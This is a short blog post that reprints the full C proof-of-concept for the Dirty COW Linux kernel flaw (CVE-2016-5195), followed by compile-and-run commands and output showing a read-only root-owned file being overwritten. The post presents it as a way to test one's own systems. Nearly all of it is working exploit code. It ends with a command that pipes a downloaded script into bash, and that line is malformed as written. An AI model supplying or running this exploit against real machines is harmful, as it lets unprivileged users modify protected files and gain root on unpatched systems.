Hello Readers,

Just a small post for those who want to test out this vulnerability on their systems.

There is a POC released for this.

Save the following Content as cow.c

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;  
int f;  
struct stat st;  
char *name;

void *madviseThread(void *arg)  
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661  
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)  
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16  
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.  
*/
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv[])  
{
/*
You have to pass two arguments. File and Contents.  
*/
  if (argc<3)return 1;
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.  
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.  
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.  
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
/*
You have to do it on two threads.  
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.  
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

Now run these commands :

$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test  
$ gcc -pthread cow.c -o cow
$ ./cow foo m00000000000000000
mmap 56123000  
madvise 0  
procselfmem 1800000000  
$ cat foo
m00000000000000000  

Hope you are safe from this huge vulnerability. You can also run this check script provided by Redhat to test :

wget https://access.redhat.com/sites/default/files/rh-cve-2016-5195_1.sh | bash